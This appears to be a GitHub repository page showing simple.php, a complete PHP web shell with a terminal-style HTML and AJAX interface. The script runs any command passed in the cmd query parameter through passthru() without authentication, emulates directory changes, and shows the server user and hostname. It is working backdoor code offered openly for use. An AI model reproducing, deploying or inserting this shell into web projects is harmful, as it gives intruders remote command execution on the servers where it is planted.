-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathsimple.php
104 lines (102 loc) · 3.03 KB
/
simple.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
$host = $_SESSION['host'];
$path = $_SESSION['path'];
echo "$host:$path $$user : $cmd";
}
if (!empty($_GET['cmd'])) {
echo "<br/>";
$cmd = $_GET['cmd'];
if (ereg("cd (.*)", $cmd, $file)) {
if ($file[1]!='.') {
if ($file[1] == '/') {
$path = $file[1];
} else if ($file[1] == '..') {
$i = strripos($_SESSION['path'], '/');
$path = substr($_SESSION['path'], 0, $i);
if ($i == 0 ) {
$_SESSION['path'] = '/';
}
} else{
if ($_SESSION['path'] == '/') {
$path = $_SESSION['path'].$file[1];
} else {
$path = $_SESSION['path'].'/'.$file[1];
}
}
}
if((file_exists($file[1]) && is_dir($file[1])) || $file[1]='~') {
$_SESSION['path'] = $path;
showInfo('');
} else {
echo "<pre>$cmd: No such file or directory</pre>";
}
} else {
$path = $_SESSION['path'];
passthru($cmd, $returnval);
if($returnval){
echo 'error';
}else{
echo 'done';
}
echo "<br/><br/>";
}
exit;
}
?>
<html>
<head>
<meta charset="UTF-8">
<title>WEB SHELL</title>
<style>
body{background:#333;color:#88B541;}
input{background:#444;color:#E19A49;border:0;width:50%;}
.log-list{overflow-y:scroll;height:90%;}
#text{color:#999;}
b{color:#FB6D6C;}
</style>
<script>
postCmd = function(e) {
e.preventDefault;
var cmd = document.getElementById('cmd'),
log = document.getElementById('log-item'),
text = document.getElementById('text'),
info = document.getElementById('info'),
ajax = new XMLHttpRequest();
if (!cmd.value) {return;};
ajax.open("GET", "?cmd="+cmd.value);
ajax.send();
ajax.onreadystatechange = function() {
if ( ajax.readyState == 4 ) {
if (cmd.value.match("cd ")) {
info.innerHTML = ajax.responseText;
console.log(ajax.responseText);
console.log(info);
} else {
var t = "<pre>%s</pre>";
log.innerHTML += t.replace('%s', ajax.responseText);
}
text.scrollIntoView();
cmd.value = "";
}
}
};
</script>
</head>
<body>
<div class="log-list">
<div id="log-item"></div>
<span id="text">Input command here :</span>
</div>
<form action="javascript:;" method="post" onsubmit="postCmd(event)"/>
<label id="info" for="cmd"><?php showInfo();?></label><input id="cmd" type="text" tab="1" autofocus="autofocus"/>
</form>
</body>
</html>